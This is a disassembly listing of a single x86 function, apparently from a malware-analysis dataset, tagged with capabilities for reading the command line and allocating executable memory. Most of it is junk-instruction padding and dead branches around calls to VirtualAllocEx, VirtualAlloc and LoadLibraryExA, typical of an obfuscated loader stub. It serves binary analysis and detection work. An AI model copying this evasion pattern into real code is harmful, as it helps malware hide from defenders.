Function at 0x4027c0
Capabilities:
Accept command line arguments
Allocate or change rwx memory

Disassembly:
push 2
push 0x4000
push 0x500
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, dword [esp]
mov edx, esi
mov ecx, dword [esp]
mov dword [ebp - 0x28], edi
lea edx, [esp]
mov edi, dword [ebp]
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp]
mov edi, dword [esp]
lea esi, [ebp]
mov ecx, edi
mov edi, dword [ebp - 0x18]
lea edi, [ebp]
lea edi, [esp]
mov eax, 8
mov edi, dword [ebp - 0x18]
mov edx, dword [ebp]
mov edi, dword [ebp]
mov eax, dword [ebp]
mov eax, dword [esp]
mov eax, dword [esp]
mov edx, esi
mov edi, dword [ebp]
mov esi, dword [esp]
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
mov edi, dword [esp]
mov cx, 0x20
mov eax, dword [ebp - 0x28]
lea edx, [ebp]
mov dword [ebp - 0x20], ecx
lea edi, [ebp]
mov edx, dword [ebp - 0x24]
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x18], ecx
mov edi, dword [esp]
lea eax, [ebp - 0x24]
mov di, 3
sub edx, edx
or dword [ebp - 0x1c], 0xffff
cmp edx, 0x3e2
jbe 0x402865
sub ecx, ecx
mov cx, 0x1b
cmp edx, 0
ja 0x402865
add dword [ebp - 0x28], 0x78
mov eax, dword [ebp - 0x20]
or dword [ebp - 0x24], 0xff
mov dx, 0x20
xor edx, edx
and dword [ebp - 0x18], 0xffff
add dword [ebp - 0x20], 0x80
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov ax, 2
mov si, 0xfa
mov di, 0xe0
mov edx, esi
mov ecx, dword [ebp]
mov ecx, dword [ebp]
lea edi, [ebp - 0x20]
mov edi, dword [esp]
mov edx, dword [ebp]
mov eax, dword [ebp]
mov edi, dword [ebp]
lea eax, [ebp]
lea ecx, [esp]
lea edx, [esp]
mov ecx, eax
mov si, 0xaf
mov edi, edx
lea edx, [ebp - 0x20]
mov eax, 0x40
mov eax, edi
mov esi, edi
mov di, 0x40
lea edx, [esp]
mov ecx, edi
mov dword [ebp - 0x20], eax
mov esi, ecx
mov si, 0x40
mov esi, 0x17
lea edi, [ebp]
mov edx, 0x55
lea edi, [esp]
lea eax, [esp]
mov edi, dword [esp]
lea edi, [ebp - 0x24]
mov eax, dword [ebp - 0x28]
lea edx, [ebp]
mov ecx, dword [ebp - 0x18]
mov esi, 8
mov esi, dword [ebp - 0x1c]
mov eax, edi
mov edx, dword [ebp]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov ecx, eax
lea edx, [ebp - 0x18]
mov dword [ebp - 0x28], esi
mov ecx, dword [esp]
mov edi, 0x44
mov eax, esi
mov di, 1
lea edi, [ebp - 0x18]
lea edi, [ebp - 0x24]
lea ecx, [ebp]
mov eax, edx
lea edi, [ebp]
mov edx, 0x40
mov esi, ecx
mov edi, dword [ebp - 0x28]
mov edi, dword [ebp]
mov di, 0x29
mov si, 0x10
mov si, 0x40
mov eax, dword [esp]
lea edi, [esp]
mov edi, dword [esp]
lea edx, [ebp]
mov edi, esi
mov edx, dword [ebp]
mov eax, dword [esp]
mov dx, 0x80
mov ecx, esi
mov esi, 1
mov edi, 0x49
mov edi, ecx
mov esi, dword [ebp - 0x1c]
mov edx, eax
lea eax, [esp]
mov edi, edx
mov esi, edi
mov edi, esi
mov di, 0x10
mov ecx, edi
mov edi, dword [ebp - 0x28]
sub edx, edx
mov eax, pe_nt_image_headers32
sub dword [ebp - 0x24], 4
mov dword [ebp - 0x20], 0x1a
call dword [sym.imp.KERNEL32.dll_GetACP]
mov edi, dword [ebp - 0x1c]
lea eax, [esp]
mov ecx, edi
mov edx, dword [ebp]
mov edx, esi
lea edi, [ebp]
mov ecx, dword [ebp]
mov edx, dword [ebp - 0x20]
mov si, 8
mov edx, dword [ebp]
lea edx, [ebp - 0x18]
lea edx, [ebp - 0x20]
mov ax, 0x40
mov edi, dword [ebp]
mov esi, edi
lea edx, [ebp - 0x1c]
mov edi, dword [ebp]
mov edx, dword [esp]
mov edi, dword [esp]
lea edi, [ebp]
mov edi, dword [ebp]
mov edi, dword [esp]
mov esi, dword [ebp]
lea edx, [ebp - 0x20]
mov dword [ebp - 0x1c], edi
mov eax, dword [ebp]
mov edi, eax
lea edi, [esp]
mov ax, 0x10
mov eax, dword [ebp - 0x1c]
lea edi, [ebp - 0x20]
mov ecx, dword [ebp - 0x28]
lea edi, [ebp]
lea eax, [ebp]
lea edx, [ebp]
mov edi, dword [esp]
mov ecx, edi
mov dword [ebp - 0x18], esi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x20], ecx
mov ax, 0x6d
lea eax, [ebp]
mov edi, dword [ebp - 0x20]
mov edi, 0x40
mov edx, dword [ebp - 0x24]
mov si, 0xd2
lea esi, [ebp]
mov di, 4
mov eax, dword [ebp]
mov ecx, dword [ebp - 0x18]
mov edi, dword [esp]
lea esi, [ebp - 0x24]
lea edi, [ebp - 0x18]
mov eax, dword [ebp]
mov esi, 0x72
mov edi, dword [ebp]
mov ecx, dword [esp]
mov ecx, esi
mov ecx, 0xcc
mov ecx, dword [ebp - 0x20]
mov dx, 4
mov ecx, 0x80
lea edx, [esp]
mov edi, dword [esp]
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x28], esi
mov ecx, dword [ebp]
mov edx, dword [esp]
mov dword [ebp - 0x20], edx
mov edx, edi
mov si, 8
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
lea ecx, [esp]
mov eax, dword [esp]
mov di, 0x2b
mov dword [ebp - 0x24], ecx
mov edi, dword [ebp - 0x18]
lea esi, [ebp]
mov esi, ecx
mov ecx, dword [ebp - 0x20]
add dword [ebp - 0x28], 8
mov edx, 2
sub dword [ebp - 0x20], 0x20
lea edx, [ebp - 0x18]
mov edx, 0x64
and dword [ebp - 0x1c], 0xff
mov dx, 0x58
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x28], 0x5c
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov esi, 1
mov di, 0x80
mov esi, dword [esp]
mov edi, dword [esp]
lea ecx, [esp]
lea edx, [ebp - 0x28]
mov eax, dword [ebp]
mov edi, dword [esp]
lea edi, [ebp - 0x1c]
lea edi, [esp]
mov eax, edi
mov edi, esi
mov eax, dword [ebp]
mov ecx, 2
mov di, 0x80
mov esi, dword [ebp - 0x24]
lea esi, [esp]
mov ecx, 0xd4
mov dword [ebp - 0x18], eax
lea edx, [ebp]
mov dword [ebp - 0x24], esi
lea esi, [ebp]
mov edx, dword [ebp]
mov eax, dword [esp]
lea edi, [ebp - 0x18]
mov si, 0x10
mov edx, ecx
mov ecx, dword [esp]
lea ecx, [ebp]
mov cx, 0xa2
mov dword [ebp - 0x18], edi
lea ecx, [esp]
mov ecx, edi
mov esi, dword [ebp - 0x28]
mov eax, dword [esp]
lea esi, [ebp - 0x28]
mov di, 0xe7
mov edi, dword [esp]
mov edx, 0x300
add dword [ebp - 0x24], 8
cmp edx, 0
je 0x402b6d
sub ecx, ecx
xor dword [ebp - 0x20], 0xffffff
sub ecx, ecx
test edx, edx
ja 0x402b6d
push 2
push 0x2000
push 0x1000
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov di, 0x99
mov dword [ebp - 0x18], esi
mov eax, dword [esp]
lea edi, [esp]
mov eax, esi
mov edx, dword [ebp - 0x28]
mov eax, 0x20
mov di, 2
mov ax, 8
mov edi, 4
mov edi, dword [ebp - 0x24]
mov ecx, dword [ebp]
lea edi, [ebp]
mov ecx, dword [ebp - 0x1c]
mov eax, 0xeb
lea edx, [esp]
lea edi, [ebp - 0x28]
mov cx, 0x2e
mov ecx, dword [ebp - 0x24]
mov ecx, dword [ebp]
mov ecx, dword [ebp - 0x28]
mov edx, ecx
mov di, 0x20
mov edx, dword [ebp]
lea edx, [ebp]
lea edi, [ebp - 0x24]
mov eax, 0xca
mov ax, 0x85
lea eax, [esp]
mov dword [ebp - 0x24], ecx
mov esi, dword [esp]
mov dword [ebp - 0x18], edi
mov edi, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x18]
lea edi, [ebp - 0x28]
lea edi, [esp]
mov edi, dword [ebp - 0x20]
mov edx, 0x69
mov eax, dword [ebp]
mov esi, 2
mov eax, dword [ebp]
lea edi, [ebp - 0x28]
lea edx, [ebp]
mov eax, dword [ebp - 0x20]
xor edx, edx
mov dx, 0x20
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x24], edx
mov esi, 0x4e
mov dword [ebp - 0x18], ecx
lea edi, [ebp - 0x1c]
mov si, 4
mov dword [ebp - 0x24], ecx
mov edi, dword [ebp - 0x20]
lea edi, [esp]
mov esi, dword [ebp - 0x18]
lea eax, [ebp - 0x20]
mov edi, dword [esp]
lea eax, [ebp]
lea eax, [ebp]
mov edi, dword [esp]
lea eax, [ebp - 0x24]
mov ecx, dword [ebp]
lea edx, [ebp]
mov edx, dword [ebp - 0x1c]
lea edi, [ebp]
lea edi, [ebp]
lea edi, [esp]
mov dword [ebp - 0x18], edx
mov edi, dword [esp]
mov eax, dword [esp]
mov ecx, dword [ebp - 0x20]
mov si, 0x20
mov edi, dword [ebp - 0x28]
lea edi, [ebp]
lea eax, [esp]
lea ecx, [ebp - 0x28]
mov edi, dword [ebp - 0x20]
mov ax, 0x80
mov eax, edi
lea ecx, [ebp]
mov ecx, dword [ebp - 0x18]
mov cx, 2
mov ecx, 0x40
lea edi, [ebp - 0x18]
mov edi, dword [ebp - 0x28]
sub ecx, ecx
add dword [ebp - 0x28], 0x26
test ecx, ecx
jne 0x402cb1
mov eax, dword [ebp - 0x18]
test eax, eax
ja 0x402cb1
push 0
push 0
push 0x410b44
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
sub edx, edx
mov dword [ebp - 0x20], edx
mov dx, 0x4f
cmp edx, 0
jbe 0x402cdb
mov ecx, 0x200
mov dword [ebp - 0x1c], ecx
cmp ecx, 0
jbe 0x402cdb
add eax, 0x10e1e
sub edx, edx
and dword [ebp - 0x28], 0xff00ff
and dword [ebp - 0x18], 0xffffff
mov edi, 0x10
and dword [ebp - 0x24], 0xffff
cmp dword [ebp - 0x28], edx
jbe 0x402d13
mov edi, 0x12c
or dword [ebp - 0x28], 0xffffff
cmp dword [ebp - 0x20], edi
ja 0x402d13
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea esi, [esp]
lea edx, [esp]
mov edi, dword [esp]
mov edx, dword [esp]
mov edx, ecx
mov dx, 0x20
mov esi, dword [esp]
lea eax, [ebp - 0x1c]
mov edx, dword [esp]
mov edi, dword [ebp - 0x1c]
lea edx, [esp]
mov edi, dword [ebp]
mov di, 0x79
mov eax, dword [ebp]
lea edi, [ebp]
mov ax, 0xae
lea edi, [esp]
lea eax, [ebp - 0x28]
mov edx, dword [esp]
lea esi, [ebp - 0x18]
lea edx, [ebp - 0x1c]
lea edi, [ebp]
lea edi, [esp]
mov dword [ebp - 0x28], eax
mov cx, 1
lea ecx, [ebp]
mov ax, 0x87
mov esi, 0x14
mov edi, ecx
mov edi, dword [esp]
mov esi, 0x96
mov ecx, dword [ebp]
mov edi, dword [ebp]
mov edi, dword [ebp]
mov esi, edi
mov ecx, 0x40
lea edx, [ebp]
lea esi, [ebp]
mov dword [ebp - 0x20], edx
lea esi, [ebp - 0x20]
lea edi, [ebp - 0x24]
mov eax, edi
lea esi, [ebp]
mov edi, edx
sub ecx, ecx
and dword [ebp - 0x20], 0xff
cmp ecx, 0
jb 0x402dbf
sub edx, edx
mov dx, 0x5f
cmp edx, 0
jne 0x402dbf
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [ebp - 0x20], ecx
lea edx, [esp]
mov eax, dword [esp]
lea eax, [ebp - 0x24]
mov edi, ecx
mov eax, dword [ebp]
mov eax, 0xc2
mov ecx, edi
mov edx, 0xc6
mov edx, 0xa4
mov dword [ebp - 0x28], ecx
mov edi, esi
lea edi, [esp]
lea esi, [esp]
mov dword [ebp - 0x18], ecx
lea edx, [ebp]
lea edx, [ebp]
mov eax, 0x49
mov di, 0x40
mov ecx, 0x1c
lea esi, [ebp]
lea edx, [esp]
mov ecx, dword [ebp - 0x18]
lea edx, [ebp - 0x18]
mov eax, esi
mov esi, dword [esp]
mov edi, 0x2b
mov esi, 3
lea eax, [ebp - 0x28]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp]
mov dword [ebp - 0x28], eax
mov eax, dword [esp]
lea edx, [ebp - 0x18]
mov ecx, 0x97
mov ecx, edi
mov ecx, 2
mov eax, dword [esp]
xor edx, edx
mov dword [ebp - 0x20], edx
and dword [ebp - 0x18], 0xffff
cmp dword [ebp - 0x28], edx
jne 0x402e5c
xor ecx, ecx
test ecx, ecx
jbe 0x402e5c
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea eax, [esp]
mov edx, 0x53
lea eax, [ebp]
mov eax, dword [esp]
lea edx, [ebp]
mov ecx, dword [ebp - 0x24]
mov eax, edx
lea edi, [ebp]
mov edi, dword [esp]
mov ecx, edi
lea edi, [ebp - 0x1c]
lea edi, [esp]
mov dword [ebp - 0x18], ecx
mov di, 0xed
mov eax, dword [esp]
lea eax, [ebp]
mov edi, 0x77
lea ecx, [ebp]
mov edi, esi
mov ax, 8
lea edi, [esp]
lea eax, [ebp]
mov dword [ebp - 0x24], edi
lea edi, [ebp]
mov ecx, dword [esp]
mov di, 0x60
mov dword [ebp - 0x1c], edi
lea ecx, [ebp - 0x20]
lea eax, [ebp - 0x24]
mov esi, edi
lea eax, [ebp]
mov esi, dword [esp]
mov edi, dword [esp]
mov eax, 0xc0
mov ax, 1
mov edx, dword [ebp - 0x28]
mov edi, dword [ebp - 0x20]
mov esi, dword [ebp]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov esi, edi
mov eax, dword [ebp]
mov di, 0x20
lea edx, [ebp]
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0x28], ecx
lea edi, [ebp]
mov di, 0xb6
mov edx, dword [ebp]
lea eax, [ebp - 0x20]
mov edi, dword [ebp]
lea edi, [ebp]
mov cx, 0x26
lea edi, [esp]
mov edx, edi
mov edi, dword [ebp - 0x24]
mov edx, dword [esp]
lea esi, [ebp]
mov ecx, 0x7e
mov cx, 1
mov edi, 4
lea esi, [ebp - 0x18]
mov edx, dword [ebp]
mov eax, dword [ebp - 0x18]
mov edi, dword [ebp]
lea edi, [ebp]
mov ecx, 2
mov di, 8
mov ecx, 0x64
lea edx, [esp]
mov esi, dword [ebp - 0x1c]
mov edi, dword [ebp - 0x20]
mov esi, dword [ebp]
mov esi, dword [ebp - 0x18]
mov edi, dword [ebp - 0x18]
lea edi, [ebp]
mov ecx, dword [ebp]
lea eax, [ebp - 0x20]
mov dx, 0x27
mov ecx, dword [ebp - 0x20]
mov ecx, 0xf8
lea edi, [ebp]
xor eax, eax
test eax, eax
jb 0x402f8d
mov edx, 0x64
mov edx, 0x27
cmp eax, 0xac
je 0x402f8d
sub dword [ebp - 0x24], 0x36
mov edx, 2
mov dword [ebp - 0x1c], eax
and dword [ebp - 0x18], 0xff00ff
push 8
push 0x4000
push 0x600
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
lea esi, [ebp - 0x28]
mov esi, eax
mov dword [ebp - 0x28], edx
lea eax, [esp]
mov ecx, edx
mov di, 0xbf
lea ecx, [ebp]
mov edx, dword [ebp - 0x24]
lea edi, [ebp - 0x18]
lea edx, [esp]
mov edi, dword [esp]
mov edi, dword [ebp - 0x24]
mov edx, dword [ebp - 0x18]
mov edi, 0xbb
mov di, 0x10
mov eax, dword [ebp]
mov dword [ebp - 0x20], edi
mov edi, dword [esp]
mov eax, dword [ebp - 0x1c]
lea edi, [esp]
lea edi, [ebp]
mov edi, ecx
lea eax, [ebp - 0x18]
mov edi, dword [ebp]
mov edx, dword [esp]
mov edi, 0x20
mov esi, dword [ebp - 0x24]
lea eax, [ebp]
mov edi, dword [esp]
mov di, 0x20
mov eax, dword [ebp - 0x24]
mov edi, dword [ebp - 0x24]
lea ecx, [ebp]
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp]
mov edi, dword [ebp]
mov eax, 0x10
mov edx, dword [ebp]
xor edx, edx
xor edx, edx
cmp dword [ebp - 0x18], edx
jbe 0x403039
xor ecx, ecx
or dword [ebp - 0x18], 0xff00ff
xor ecx, ecx
mov edx, 0x74
push 2
push 0x4000
push 0xb00
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, ecx
lea edi, [ebp - 0x24]
lea edi, [esp]
mov eax, ecx
lea ecx, [ebp - 0x28]
mov ecx, dword [ebp - 0x1c]
lea edi, [esp]
mov edx, dword [ebp]
mov ecx, eax
mov si, 0x10
mov esi, edi
mov dword [ebp - 0x18], edi
mov edi, dword [esp]
mov edx, dword [ebp]
lea edx, [esp]
lea ecx, [ebp]
mov dword [ebp - 0x20], ecx
mov edi, 0x9b
mov edx, dword [ebp - 0x24]
mov edx, 0x10
lea edi, [esp]
mov edi, dword [esp]
mov dword [ebp - 0x28], esi
mov edi, dword [ebp - 0x24]
mov edi, 0xb3
lea edx, [ebp]
lea eax, [esp]
lea edx, [esp]
mov dword [ebp - 0x20], edi
mov ecx, dword [ebp]
mov di, 0x73
mov dword [ebp - 0x18], ecx
mov edi, dword [ebp]
mov cx, 0x10
mov ecx, esi
lea edi, [ebp]
mov si, 0x80
lea edi, [ebp]
mov eax, 0
mov dword [ebp - 0x18], 4
and dword [ebp - 0x20], 0xff00ff
mov eax, 0x31
test eax, eax
je 0x403100
mov edx, dword [ebp - 0x20]
xor dword [ebp - 0x20], 0xff
mov dx, 4
test edx, edx
ja 0x403100
xor dword [ebp - 0x1c], 0xffffff
sub edx, edx
sub edx, edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edi, 0xdc
mov esi, ecx
mov dword [ebp - 0x20], edx
lea edi, [ebp]
mov di, 0x7e
mov edi, 0x66
mov esi, dword [ebp]
mov eax, dword [esp]
mov ecx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x20]
mov dword [ebp - 0x24], edi
lea edi, [esp]
lea esi, [ebp]
lea edx, [ebp - 0x1c]
mov dword [ebp - 0x24], ecx
lea ecx, [esp]
lea eax, [ebp - 0x24]
mov edi, 0x5d
mov ax, 0
mov dword [ebp - 0x28], esi
lea edi, [ebp - 0x28]
mov edi, edx
mov si, 4
mov eax, dword [esp]
lea edi, [esp]
lea esi, [esp]
mov di, 0x62
mov eax, edi
mov edi, 0x2f
lea edi, [ebp - 0x28]
mov edi, dword [ebp]
lea esi, [ebp]
mov ecx, dword [ebp - 0x18]
mov edi, 0x10
mov di, 0x80
mov dword [ebp - 0x1c], edx
lea ecx, [ebp]
mov edi, dword [esp]
mov ax, 2
mov esi, dword [esp]
mov edi, 0x1a
lea eax, [esp]
mov dword [ebp - 0x18], edx
mov di, 0xe2
sub eax, eax
and dword [ebp - 0x20], 0xffff
cmp eax, 0
jbe 0x4031c6
mov dword [ebp - 0x24], edx
mov edx, dword [ebp - 0x28]
and dword [ebp - 0x20], 0xff
mov eax, 0x20
sub eax, eax
mov ax, 8
ret